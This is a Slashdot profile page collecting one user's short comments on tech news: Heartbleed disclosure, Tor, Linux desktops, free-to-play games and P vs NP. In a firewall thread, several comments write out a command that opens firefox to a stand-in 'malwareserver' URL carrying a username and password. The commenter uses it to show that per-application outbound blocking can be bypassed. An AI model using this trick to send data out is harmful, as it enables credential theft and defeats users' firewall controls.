×

Welcome to the Slashdot Beta site -- learn more here. Use the link in the footer or click here to return to the Classic version of Slashdot.

Thank you!

Before you choose to head back to the Classic look of the site, we'd appreciate it if you share your thoughts on the Beta; your feedback is what drives our ongoing development.

Beta is different and we value you taking the time to try it out. Please take a look at the changes we've made in Beta and  learn more about it. Thanks for reading, and for making the site better!

Comments

top

Heartbleed Sparks 'Responsible' Disclosure Debate

allo Full disclosure, nothing else (171 comments)

Look, Google knew it. Google is part of prism. You are still wondering, if the NSA may have used Heartbleed?

2 days ago
top

Tor Blacklisting Exit Nodes Vulnerable To Heartbleed

allo Re:Don't people encrypt over TOR anyway? (56 comments)

when the private key of your node is stolen, you cannot provide anonymity anymore. everyone will see, where the packet you are getting will be routed, because the client decides the nodes, not the network.

2 days ago
top

The GNOME Foundation Is Running Out of Money

allo Re:Gnome go home (689 comments)

Did you spel check, jet?

about a week ago
top

Ask Slashdot: How To Start With Linux In the Workplace?

allo Use Mint AS IS (451 comments)

Mint is quite similiar to classic windows, and much more similiar than Windows 8, even windows 7 has a new taskbar (by default).

about a week ago
top

Google: Teach Girls Coding, Get $2,500; Teach Boys, Get $0

allo Re:Sex discrimination. (673 comments)

you are a private person. If you have an startup for stripper tipping, then you cannot discriminate.

Look at Eich and Mozilla. In private, he had the right to get political involved, but Mozilla does not want to get involved.

about a week ago
top

Do Free-To-Play Games Get a Fair Shake?

allo Re:New? (181 comments)

But you pay one time for the full game, maybe one time per levelpack. Now you for each time, you play the level. And in 10 years you won't be able to get your old android tablet and show someone the old game, because it cannot contact its license-server and will only run the minimum features, if it starts at all.

about two weeks ago
top

Nanodot-Based Smartphone Battery Recharges In 30 Seconds

allo what they do not tell you (227 comments)

it discharges in 30 seconds, too.

about two weeks ago
top

Linux Developers Consider On-Screen QR Codes For Kernel Panics

allo Bug reporting will be much easier (175 comments)

Do you want to mail them physical screenshots? With a qr code, you can mail text.

about two weeks ago
top

Ask Slashdot: User-Friendly Firewall For a Brand-New Linux User?

allo Re:Wrong paradigm here (187 comments)

cgroups may help.

about two weeks ago
top

Ask Slashdot: User-Friendly Firewall For a Brand-New Linux User?

allo Re:Wrong paradigm here (187 comments)

argh, stop messing my posts ...

firefox "malwareserver/?mydata=i+got+him+&username=foo&loggedpassword=bar"& sleep 2 && kill %1

about two weeks ago
top

Ask Slashdot: User-Friendly Firewall For a Brand-New Linux User?

allo Re:Wrong paradigm here (187 comments)

of course the cmdline needs to be:
'firefox "malwareserver/?mydata=i+got+him+&username=foo&loggedpassword=bar&;sleep" '

stupid slashdot

about two weeks ago
top

Ask Slashdot: User-Friendly Firewall For a Brand-New Linux User?

allo Re:Wrong paradigm here (187 comments)

Blocking outbound on per-application basis is needed, if you do not trust your software. But untrusted software can evade this anyway. Just call "firefox http://malwareserver?mydata=i+... 2;kill %1"
So, how does the "~/bin/untrusted-download" firewall rule protect you now?

There is one simple rule for untrusted software: Do not run it.
Linux makes this easy, you need the execution bit, a download or an e-mail attachment will not have it by default. And Linux provides you with a big trusted software repo. You do not need to visit shady downloadsites, which bundle the apps with a strange installer.

about two weeks ago
top

British Domain Registrar Offers 'No Transfer Fees,' Charges Transfer Fee

allo Re:Typical corporation bullshit (77 comments)

And in the USA you cannot? I would have thought, you will always be asked: terminate the contract or accept the new TOS.

about two weeks ago
top

New US Atomic Clock Goes Live

allo Re:And how do you start it? (127 comments)

But isn't averaging even more unstable than syncing with one clock? And in any case, this one will be more precise than the average and every single other one.

about two weeks ago
top

P vs. NP Problem Linked To the Quantum Nature of the Universe

allo Re:Are all NP-hard Problems equivalent? (199 comments)

AFAIK the definition is, they are not in P and they can be solved by a non-deterministic TM. Usual proofs are by transitivity, but i do not know an argument against two disjunct trees of problems. maybe there are problems, which cannot be reduced to the known ones, but are np-hard anyway?

about two weeks ago
top

Linus Torvalds Suspends Key Linux Developer

allo Re:Linus is being Linus. (641 comments)

And, is bitkeeper still around, now that everyone is using git?

about two weeks ago
top

P vs. NP Problem Linked To the Quantum Nature of the Universe

allo Re:Are all NP-hard Problems equivalent? (199 comments)

Now back to the question: Is there a Proof, that each solution to a NP-complete problem can be used to solve the factoring problem?
(its this way, you need to prove, that any solution to your new problem is a solution for a known np-hard one)
So what i meant: Could NP be the union of (at least) two disjunct sets of problems, which can reduce to other problems in the same set, but not to problems in the other set? If not, how do you prove it? Citations are welcomed.

about two weeks ago

Submissions

allo hasn't submitted any stories.

Journals

allo has no journal entries.

Slashdot Account

Need an Account?

Forgot your password?

Don't worry, we never post anything without your permission.

Submission Text Formatting Tips

We support a small subset of HTML, namely these tags:

  • b
  • i
  • p
  • br
  • a
  • ol
  • ul
  • li
  • dl
  • dt
  • dd
  • em
  • strong
  • tt
  • blockquote
  • div
  • quote
  • ecode

"ecode" can be used for code snippets, for example:

<ecode>    while(1) { do_something(); } </ecode>
Sign up for Slashdot Newsletters
Create a Slashdot Account

Loading...